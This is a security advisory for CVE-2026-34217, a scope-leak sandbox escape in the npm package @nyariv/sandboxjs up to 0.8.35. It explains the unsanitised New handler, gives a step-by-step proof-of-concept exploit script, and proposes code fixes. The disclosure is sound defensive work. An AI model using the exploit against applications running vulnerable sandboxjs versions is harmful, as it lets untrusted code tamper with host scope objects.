CVE-2026-34217: SandboxJS: Sandbox Escape via Prop Object Leak in New Handler
Description A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit.
Published Apr 3, 2026 · Updated Apr 6, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.35
- Fixed in
- 0.8.36
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.
Vulnerable Code Location
Primary: The New Operator Handler
File: src/executor.ts, lines 1275–1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized
},
);This handler has two missing sanitization steps:
- Arguments (`b`) are not passed through `valueOrProp()` — Constructor arguments contain raw
Propobjects (internal interpreter wrappers) instead of extracted values.
- Return value is not passed through `getGlobalProp()` or `sanitizeArray()` — The constructed object is returned directly to the execution tree without any sanitization.
Comparison: The Call Handler (Correctly Implemented)
File: src/executor.ts, lines 493–605
addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
// ...
const vals = b
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return [item];
}
})
.flat()
.map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized
// ...
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized
sanitizeArray(ret, context); // ← Return IS sanitized
done(undefined, ret);
});The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.
---
Why This Is Vulnerable
Step 1: What is a Prop Object?
The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565–582). A Prop has:
class Prop {
context: any; // The object the property belongs to
prop: PropertyKey; // The property name
isConst: boolean;
isGlobal: boolean;
isVariable: boolean;
}When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.
Step 2: What is in scope.allVars?
At the global scope level, scope.allVars is the same object as options.globals — the SAFE_GLOBALS object containing:
{
globalThis: <real globalThis>,
Function: <real Function constructor>,
eval: <real eval function>,
console: { log: console.log, ... },
Array, Object, Map, Set, Promise, Date, Error, RegExp,
isNaN, parseInt, parseFloat, ...
}These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.
Step 3: How the Prop Leaks Through new
When sandboxed code executes new Constructor(someVariable):
- The interpreter evaluates
someVariable— this produces aPropobject:Prop(scope.allVars, 'someVariable') - The
Newhandler receives thisPropas-is in thebarray (novalueOrProp()call) new Constructor(...[Prop])passes the rawPropobject to the constructor function- Inside the constructor, the
Propis received as a named parameter - The constructor reads
arg.context— this is the rawscope.allVarsobject containing all real globals - The constructor stores this reference:
this.scope = arg.context - The constructed object is returned without sanitization
Proof of Concept
Step-by-Step Reproduction (Terminal)
Step 1: Create a new directory and initialize
mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -yStep 2: Set module type to ESM
node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"Step 3: Install the vulnerable package
npm install @nyariv/[email protected]Step 4: Create the minimal exploit
cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOFStep 5: Run it
node exploit.mjsImpact
An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope
The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.
---
Suggested Remediation
Fix 1: Sanitize New Handler Arguments (Critical)
Add valueOrProp() to constructor arguments, matching the Call handler's behavior:
// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
const sanitizedArgs = b.map((item) => valueOrProp(item, context));
const result = new a(...sanitizedArgs);
const sanitized = getGlobalProp(result, context) || result;
sanitizeArray(sanitized, context);
done(undefined, sanitized);
},
);Fix 2: Sanitize Sandbox Return Values (Defense in Depth)
Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.
Fix 3: Freeze the Globals Object (Defense in Depth)
Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:
Object.freeze(options.globals);Credited to chawdamrunal.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-34211
SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser
medium6.9Apr 3, 2026CVE-2026-32723
SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
medium4.8Mar 16, 2026CVE-2026-26954
SandboxJS affected by a Sandbox Escape
critical10.0Mar 13, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026
